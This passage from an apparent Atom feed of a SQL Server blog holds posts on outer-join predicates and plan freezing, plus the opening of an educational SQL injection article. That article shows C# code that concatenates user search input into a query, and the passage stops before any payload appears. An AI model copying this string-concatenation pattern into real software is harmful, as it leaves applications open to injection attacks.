style="color:blue;"&gt;= &lt;/span&gt;&lt;span style="color:red;"&gt;'P'&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;GROUP BY &lt;/span&gt;&lt;span style="color:black;"&gt;C.customer_name&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;ORDER BY &lt;/span&gt;&lt;span style="color:black;"&gt;customer_name&lt;/span&gt;&lt;span style="color:gray;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;This results in correct result set listing all customers and the total personal loan amount.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code  style="font-size:12px;"&gt;&lt;span style="color:black;"&gt;customer_name    total&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:black;"&gt;---------------- --------&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:black;"&gt;Donna Louis      1200.00&lt;br /&gt;&lt;br /&gt;Greg Barrow      0.00&lt;br /&gt;&lt;br /&gt;Jeff Davis       3000.00&lt;br /&gt;&lt;br /&gt;Kevin Fox        2000.00&lt;br /&gt;&lt;br /&gt;Peter Brown      1500.00&lt;br /&gt;&lt;br /&gt;Richard Douglas  0.00&lt;br /&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;CASE #2: Predicates on the preserved table attributes&lt;br /&gt;&lt;br /&gt;Let's look at another example demonstrating how filtering affect the preserved table attributes. The request is to retrieve the total loan amount for customer Richard Douglas, even if Richard does not have any loans at all. Since it is required to return always Richard's account info, the following query seems to satisfy the request:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code  style="font-size:12px;"&gt;&lt;span style="color:blue;"&gt;SELECT &lt;/span&gt;&lt;span style="color:black;"&gt;C.customer_name&lt;/span&gt;&lt;span style="color:gray;"&gt;,&lt;br /&gt;&lt;br /&gt;       &lt;/span&gt;&lt;span style="color:magenta;"&gt;SUM&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:magenta;"&gt;COALESCE&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;L.loan_amount&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;0&lt;/span&gt;&lt;span style="color:gray;"&gt;)) &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;total&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;FROM &lt;/span&gt;&lt;span style="color:black;"&gt;Customers &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;C&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:magenta;"&gt;LEFT &lt;/span&gt;&lt;span style="color:gray;"&gt;OUTER &lt;/span&gt;&lt;span style="color:blue;"&gt;JOIN &lt;/span&gt;&lt;span style="color:black;"&gt;Loans &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;L&lt;br /&gt;&lt;br /&gt;  &lt;/span&gt;&lt;span style="color:blue;"&gt;ON &lt;/span&gt;&lt;span style="color:black;"&gt;C.customer_nbr &lt;/span&gt;&lt;span style="color:blue;"&gt;= &lt;/span&gt;&lt;span style="color:black;"&gt;L.customer_nbr&lt;br /&gt;&lt;br /&gt; &lt;/span&gt;&lt;span style="color:gray;"&gt;AND &lt;/span&gt;&lt;span style="color:black;"&gt;C.customer_name &lt;/span&gt;&lt;span style="color:blue;"&gt;= &lt;/span&gt;&lt;span style="color:red;"&gt;'Richard Douglas'&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;GROUP BY &lt;/span&gt;&lt;span style="color:black;"&gt;C.customer_name&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;ORDER BY &lt;/span&gt;&lt;span style="color:black;"&gt;customer_name&lt;/span&gt;&lt;span style="color:gray;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;However, the result set returns information for all customers:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code  style="font-size:12px;"&gt;&lt;span style="color:black;"&gt;customer_name   total&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:black;"&gt;--------------- -----&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:black;"&gt;Donna Louis     0.00&lt;br /&gt;&lt;br /&gt;Greg Barrow     0.00&lt;br /&gt;&lt;br /&gt;Jeff Davis      0.00&lt;br /&gt;&lt;br /&gt;Kevin Fox       0.00&lt;br /&gt;&lt;br /&gt;Peter Brown     0.00&lt;br /&gt;&lt;br /&gt;Richard Douglas 0.00&lt;br /&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;As explained earlier, the reason for that is that outer rows are added back after the outer join predicates are applied, resulting in adding back all other customers. To get only Richard's loan information requires moving the predicate filtering on customer name to the WHERE clause:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code  style="font-size:12px;"&gt;&lt;span style="color:blue;"&gt;SELECT &lt;/span&gt;&lt;span style="color:black;"&gt;C.customer_name&lt;/span&gt;&lt;span style="color:gray;"&gt;,&lt;br /&gt;&lt;br /&gt;       &lt;/span&gt;&lt;span style="color:magenta;"&gt;SUM&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:magenta;"&gt;COALESCE&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;L.loan_amount&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;0&lt;/span&gt;&lt;span style="color:gray;"&gt;)) &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;total&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;FROM &lt;/span&gt;&lt;span style="color:black;"&gt;Customers &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;C&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:magenta;"&gt;LEFT &lt;/span&gt;&lt;span style="color:gray;"&gt;OUTER &lt;/span&gt;&lt;span style="color:blue;"&gt;JOIN &lt;/span&gt;&lt;span style="color:black;"&gt;Loans &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;L&lt;br /&gt;&lt;br /&gt;  &lt;/span&gt;&lt;span style="color:blue;"&gt;ON &lt;/span&gt;&lt;span style="color:black;"&gt;C.customer_nbr &lt;/span&gt;&lt;span style="color:blue;"&gt;= &lt;/span&gt;&lt;span style="color:black;"&gt;L.customer_nbr&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;WHERE &lt;/span&gt;&lt;span style="color:black;"&gt;C.customer_name &lt;/span&gt;&lt;span style="color:blue;"&gt;= &lt;/span&gt;&lt;span style="color:red;"&gt;'Richard Douglas'&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;GROUP BY &lt;/span&gt;&lt;span style="color:black;"&gt;C.customer_name&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;ORDER BY &lt;/span&gt;&lt;span style="color:black;"&gt;customer_name&lt;/span&gt;&lt;span style="color:gray;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;This results in correctly returning only Richard's loan information:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code  style="font-size:12px;"&gt;&lt;span style="color:black;"&gt;customer_name    total&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:black;"&gt;---------------- -----&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:black;"&gt;Richard Douglas  0.00&lt;br /&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4282222233168200124-1117604230511601480?l=pratchev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pratchev.blogspot.com/feeds/1117604230511601480/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4282222233168200124&amp;postID=1117604230511601480' title='12 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/1117604230511601480'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/1117604230511601480'/><link rel='alternate' type='text/html' href='http://pratchev.blogspot.com/2009/06/outer-joins.html' title='Outer Joins'/><author><name>Plamen Ratchev</name><uri>http://www.blogger.com/profile/02027705815827955614</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_xSJ2NVXK3d0/TEDSRw15A_I/AAAAAAAAACY/4kesPlCdN3w/S220/Plamen_c_113.png'/></author><thr:total>12</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4282222233168200124.post-2199322865631861130</id><published>2009-06-02T23:38:00.007-04:00</published><updated>2009-06-02T23:52:19.472-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='t-sql programming'/><category scheme='http://www.blogger.com/atom/ns#' term='performance tuning'/><title type='text'>Plan Freezing</title><content type='html'>Plan freezing refers to forcing a plan for specific query. There are different reasons to freeze a plan, one is to provide plan stability for solving parameter sniffing issues. &lt;br /&gt;&lt;br /&gt;This functionality was first introduced in SQL Server 2005 via using the USE PLAN query hint or using a plan guide to force a plan. However, using this feature was rather difficult with the requirement to capture the exact SQL statement. That was normally done using SQL Profiler trace or via querying the Dynamic Management Objects. Another issue was that changing the metadata (like dropping an index that affects the plan) resulted in error when trying to use the plan guide.&lt;br /&gt;&lt;br /&gt;SQL Server 2008 added an array of enhancements. First, it simplified the mechanism to create a plan guide from plan handle via the sp_create_plan_guide_from_handle stored procedure. This eliminates the need to extract and match the SQL statement. Another enhancement is that if the metadata changes then the plan guide is silently skipped and the query execution continues with whatever execution plan is best.&lt;br /&gt;&lt;br /&gt;Below is example of utilizing the new capabilities in SQL Server 2008 to freeze a plan.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code style="font-size: 12px;"&gt;&lt;span style="color:green"&gt;--&amp;nbsp;Clear&amp;nbsp;procedure&amp;nbsp;cache&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;DBCC&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;FREEPROCCACHE&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:black"&gt;GO&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:green"&gt;--&amp;nbsp;First&amp;nbsp;query&amp;nbsp;run&amp;nbsp;to&amp;nbsp;get&amp;nbsp;plan&amp;nbsp;for&amp;nbsp;freezing&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;SET&amp;nbsp;STATISTICS&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;XML&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;ON&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;EXEC&amp;nbsp;&lt;/span&gt;&lt;span style="color:darkred"&gt;sp_executesql&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:red"&gt;N'SELECT&amp;nbsp;orderid,&amp;nbsp;customerid,&amp;nbsp;orderdate,&amp;nbsp;shippeddate&lt;br /&gt;&lt;br&gt;FROM&amp;nbsp;Orders&lt;br /&gt;&lt;br&gt;WHERE&amp;nbsp;customerid&amp;nbsp;=&amp;nbsp;N''CACYK'''&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;SET&amp;nbsp;STATISTICS&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;XML&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;OFF&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:black"&gt;GO&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:green"&gt;--&amp;nbsp;Create&amp;nbsp;plan&amp;nbsp;quide&amp;nbsp;based&amp;nbsp;on&amp;nbsp;plan&amp;nbsp;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;DECLARE&amp;nbsp;&lt;/span&gt;&lt;span style="color:#434343"&gt;@plan_handle&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;VARBINARY&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;64&lt;/span&gt;&lt;span style="color:gray"&gt;);&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;SELECT&amp;nbsp;&lt;/span&gt;&lt;span style="color:#434343"&gt;@plan_handle&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;plan_handle&amp;nbsp;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;FROM&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;sys.dm_exec_query_stats&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;S&amp;nbsp;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:gray"&gt;CROSS&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;APPLY&amp;nbsp;sys.dm_exec_sql_text&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;S.sql_handle&lt;/span&gt;&lt;span style="color:gray"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;T&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;WHERE&amp;nbsp;text&amp;nbsp;&lt;/span&gt;&lt;span style="color:gray"&gt;LIKE&amp;nbsp;&lt;/span&gt;&lt;span style="color:red"&gt;'%Order%'&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;EXEC&amp;nbsp;&lt;/span&gt;&lt;span style="color:darkred"&gt;sp_create_plan_guide_from_handle&amp;nbsp;&lt;/span&gt;&lt;span style="color:red"&gt;'PlanGuide2008'&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:#434343"&gt;@plan_handle&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color:#434343"&gt;@plan_handle&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:black"&gt;GO&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:green"&gt;--&amp;nbsp;Check&amp;nbsp;that&amp;nbsp;plan&amp;nbsp;guide&amp;nbsp;was&amp;nbsp;created&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;SELECT&amp;nbsp;&lt;/span&gt;&lt;span style="color:gray"&gt;*&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;FROM&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;sys.plan_guides&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:black"&gt;GO&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:green"&gt;--&amp;nbsp;Execute&amp;nbsp;and&amp;nbsp;verify&amp;nbsp;UsePlan=&amp;quot;1&amp;quot;&amp;nbsp;and&amp;nbsp;PlanGuideName=&amp;quot;PlanGuide2008&amp;quot;&amp;nbsp;&lt;br /&gt;&lt;br&gt;--&amp;nbsp;in&amp;nbsp;the&amp;nbsp;XML&amp;nbsp;plan&amp;nbsp;output&amp;nbsp;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;SET&amp;nbsp;STATISTICS&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;XML&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;ON&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;EXEC&amp;nbsp;&lt;/span&gt;&lt;span style="color:darkred"&gt;sp_executesql&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:red"&gt;N'SELECT&amp;nbsp;orderid,&amp;nbsp;customerid,&amp;nbsp;orderdate,&amp;nbsp;shippeddate&lt;br /&gt;&lt;br&gt;FROM&amp;nbsp;Orders&lt;br /&gt;&lt;br&gt;WHERE&amp;nbsp;customerid&amp;nbsp;=&amp;nbsp;N''CACYK'''&lt;/span&gt;&lt;span style="color:gray"&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;SET&amp;nbsp;STATISTICS&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;XML&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;OFF&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:black"&gt;GO&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;EXEC&amp;nbsp;&lt;/span&gt;&lt;span style="color:darkred"&gt;sp_control_plan_guide&amp;nbsp;&lt;/span&gt;&lt;span style="color:red"&gt;N'DROP'&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:red"&gt;N'PlanGuide2008'&lt;/span&gt;&lt;span style="color:gray"&gt;;&amp;nbsp;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4282222233168200124-2199322865631861130?l=pratchev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pratchev.blogspot.com/feeds/2199322865631861130/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4282222233168200124&amp;postID=2199322865631861130' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/2199322865631861130'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/2199322865631861130'/><link rel='alternate' type='text/html' href='http://pratchev.blogspot.com/2009/06/plan-freezing.html' title='Plan Freezing'/><author><name>Plamen Ratchev</name><uri>http://www.blogger.com/profile/02027705815827955614</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_xSJ2NVXK3d0/TEDSRw15A_I/AAAAAAAAACY/4kesPlCdN3w/S220/Plamen_c_113.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4282222233168200124.post-8203270300815970772</id><published>2009-03-27T22:53:00.006-04:00</published><updated>2009-04-02T17:45:01.675-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sql injection'/><title type='text'>SQL Injection</title><content type='html'>What is SQL Injection? Here is the definition from Wikipedia (&lt;a href='http://en.wikipedia.org/wiki/SQL_injection' target='_blank'&gt;http://en.wikipedia.org/wiki/SQL_injection&lt;/a&gt;):&lt;br /&gt;&lt;br /&gt;"SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks."&lt;br /&gt;&lt;br /&gt;Why another article on SQL Injection? Because no matter how much is written about it, developers still produce code that is susceptible to SQL injection attacks. The following is a dissection of a typical Web site vulnerable to SQL injection, with step by step example of what could happen, and protection methods.&lt;br /&gt;&lt;br /&gt;Disclaimer: before even starting, it is important to emphasize – the solution to SQL injection is parameterization! Period! But... what if the client API does not support parameterization? Or the project is so large that changing all occurrences of bad code can result in massive code rewrite which may not be feasible at the moment? This is where some methods like string filtering fit in.&lt;br /&gt;&lt;br /&gt;The example in this article uses the SQL Server sample database AdventureWorks (&lt;a href='http://www.codeplex.com/SqlServerSamples' target='_blank'&gt;http://www.codeplex.com/SqlServerSamples&lt;/a&gt;). &lt;br /&gt;&lt;br /&gt;Let's start with a very trivial example of product search. The implementation is in C#:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code style="font-size: 12px;"&gt;&lt;span style="color:blue"&gt;string&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;cmdStr&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color:darkred"&gt;@&amp;quot;SELECT&amp;nbsp;Name,&amp;nbsp;ProductNumber,&amp;nbsp;Color&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FROM&amp;nbsp;Production.Product&amp;nbsp;&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WHERE&amp;nbsp;Name&amp;nbsp;LIKE&amp;nbsp;'%&amp;quot;&amp;nbsp;&lt;/span&gt;&lt;span style="color:gray"&gt;+&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;SearchText.Text&amp;nbsp;&lt;/span&gt;&lt;span style="color:gray"&gt;+&amp;nbsp;&lt;/span&gt;&lt;span style="color:darkred"&gt;&amp;quot;%'&amp;quot;&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;using&amp;nbsp;&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;SqlConnection&amp;nbsp;conn&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;=&amp;nbsp;new&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;SqlConnection&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;connStr&lt;/span&gt;&lt;span style="color:gray"&gt;))&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;using&amp;nbsp;&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;SqlDataAdapter&amp;nbsp;sda&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;=&amp;nbsp;new&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;SqlDataAdapter&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;cmdStr&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;conn&lt;/span&gt;&lt;span style="color:gray"&gt;))&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:black"&gt;{&lt;br /&gt;&lt;br&gt;DataTable&amp;nbsp;dtProducts&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;=&amp;nbsp;new&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;DataTable&lt;/span&gt;&lt;span style="color:gray"&gt;();&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:black"&gt;sda.Fill&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;dtProducts&lt;/span&gt;&lt;span style="color:gray"&gt;);&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;return&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;dtProducts.DefaultView&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:black"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;How simple and innocent! A couple lines of code and our search function is done. We simply let the user type any search criteria and create a dynamic query to search all products.&lt;br /&gt;&lt;br /&gt;A good user may type "ball" in the search text box and get the following results:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code style="font-size: 12px;"&gt;&lt;span style="color:black"&gt;Name&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ProductNumber&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Color&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:black"&gt;-------------------&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;---------------&amp;nbsp;&amp;nbsp;-------&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:black"&gt;BB&amp;nbsp;Ball&amp;nbsp;Bearing&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;BE&lt;/span&gt;&lt;span style="color:gray"&gt;-&lt;/span&gt;&lt;span style="color:black"&gt;2349&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br&gt;Bearing&amp;nbsp;Ball&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;BA&lt;/span&gt;&lt;span style="color:gray"&gt;-&lt;/span&gt;&lt;span style="color:black"&gt;8327&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br&gt;Headset&amp;nbsp;Ball&amp;nbsp;Bearings&amp;nbsp;&amp;nbsp;BE&lt;/span&gt;&lt;span style="color:gray"&gt;-&lt;/span&gt;&lt;span style="color:black"&gt;2908&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;But here comes someone who has not so good intentions. Instead of searching for 